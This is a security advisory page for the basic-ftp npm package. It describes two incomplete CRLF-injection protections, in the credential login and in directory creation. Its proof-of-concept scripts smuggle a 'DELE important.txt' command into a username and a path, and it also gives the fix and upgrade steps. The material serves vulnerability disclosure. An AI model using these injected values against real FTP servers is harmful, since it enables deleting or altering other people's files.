GHSA-6v7q-wjvx-w8wg
basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands
- Severity
- 8.2 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')
- Fix
5.2.2- Upgrade basic-ftp to this version or later
Description
Summary
basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the protectWhitespace() control character check: (1) the login() method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the _openDir() method sends an MKD command before cd() invokes protectWhitespace(), creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.
Details
Vector 1: Credential Injection (login)
The login() method constructs FTP commands by direct string concatenation with no CRLF validation:
// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
return this.ftp.handle("USER " + user, (res, task) => { // Line 218: no validation on `user`
// ...
else if (res.code === 331) {
this.ftp.send("PASS " + password) // Line 226: no validation on `password`
}
})
}
FtpContext.send() writes directly to the TCP socket:
// src/FtpContext.ts:223-227
send(command: string) {
// ...
this._socket.write(command + "\r\n", this.encoding)
}
The protectWhitespace() method (line 762) rejects \r, \n, and \0 characters — but it is only called for path-based operations. Credentials never pass through it.
The public access() method (line 268) passes options.user and options.password directly to login() with no sanitization.
Vector 2: MKD TOCTOU Bypass (_openDir)
The _openDir() method sends an MKD command before the CRLF check in cd():
// src/Client.ts:745-748
protected async _openDir(dirName: string) {
await this.sendIgnoringError("MKD " + dirName) // Line 746: sent BEFORE validation
await this.cd(dirName) // Line 747: protectWhitespace() called here — too late
}
This is called from ensureDir() (line 729) which splits a user-supplied remote path by / and passes each fragment to _openDir(), and from _uploadToWorkingDir() (line 679) which passes local directory names read from the filesystem.
PoC
Vector 1: Credential Injection
const ftp = require("basic-ftp");
async function exploit() {
const client = new ftp.Client();
client.ftp.verbose = true;
// Connect to target FTP server
await client.access({
host: "target-ftp-server",
port: 21,
// Username contains CRLF + injected DELE command
user: "anonymous\r\nDELE important.txt",
password: "guest"
});
// Server receives on the wire:
// USER anonymous\r\n
// DELE important.txt\r\n
// PASS guest\r\n
// The DELE command executes before PASS is processed
client.close();
}
exploit();
Vector 2: MKD TOCTOU Bypass
const ftp = require("basic-ftp");
async function exploit() {
const client = new ftp.Client();
client.ftp.verbose = true;
await client.access({
host: "target-ftp-server",
user: "anonymous",
password: "guest"
});
// Path fragment with CRLF — MKD is sent before cd() validates
try {
await client.ensureDir("test\r\nDELE important.txt/subdir");
} catch (e) {
// cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
}
// Server received:
// MKD test\r\n
// DELE important.txt\r\n
// CWD test\r\n <-- this may fail, but damage is done
client.close();
}
exploit();
Impact
An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:
- File deletion: Inject
DELEcommands to remove files on the FTP server - File manipulation: Inject
RNFR/RNTOto rename files,MKD/RMDto create/remove directories - Server commands: Inject
SITEcommands (e.g.,SITE CHMOD) to change permissions - Session hijacking: Inject
USER/PASSto re-authenticate as a different user
The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.
Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.
Recommended Fix
Add CRLF validation to both code paths:
1. Validate credentials in login():
// src/Client.ts:216
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) {
return Promise.reject(new Error("Invalid credentials: Contains control characters"));
}
this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
return this.ftp.handle("USER " + user, (res, task) => {
// ... rest unchanged
})
}
2. Validate dirName in _openDir() before sending MKD:
// src/Client.ts:745
protected async _openDir(dirName: string) {
if (/[\r\n\0]/.test(dirName)) {
throw new Error("Invalid path: Contains control characters");
}
await this.sendIgnoringError("MKD " + dirName)
await this.cd(dirName)
}
Alternatively, centralize CRLF validation in FtpContext.send() so that all FTP commands are protected regardless of the calling code path.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
basic-ftp npm → 5.2.2
- npm
npm install basic-ftp@5.2.2- yarn
yarn add basic-ftp@5.2.2- pnpm
pnpm add basic-ftp@5.2.2
Severity breakdown
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
How to prevent it
- Implementation: Avoid using CRLF as a special sequence.
- Implementation: Appropriately filter or quote CRLF sequences in user-controlled input.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-c475-qrg2-pj4r basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking) | High | Also affects basic-ftp |
| GHSA-rpmf-866q-6p89 basic-ftp allows a malicious FTP server to cause client-side denial of service via unbounded multiline control response buffering | High | Also affects basic-ftp |
| GHSA-rp42-5vxx-qpwr basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list() | High | Also affects basic-ftp |
| GHSA-chqc-8p9q-pq6q basic-ftp has FTP Command Injection via CRLF | High | Also affects basic-ftp |
| GHSA-5rq4-664w-9x2c Basic FTP has Path Traversal Vulnerability in its downloadToDir() method | Critical | Also affects basic-ftp |
| GHSA-h4x7-gw46-3wm6 HTTPX2: Multipart part header injection via unvalidated file Content-Type and custom headers | Medium | Same weakness, CWE-93 |
| GHSA-j9f9-w8pj-32f8 Spring Framework Server Sent Event stream corruption while rendering fragments | Critical | Same weakness, CWE-93 |
| EEF-CVE-2026-75484 HTTP/2 header field values containing CR, LF or NUL are passed to the application unvalidated in Bandit | Not rated yet | Same weakness, CWE-93 |
Credits: offset
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor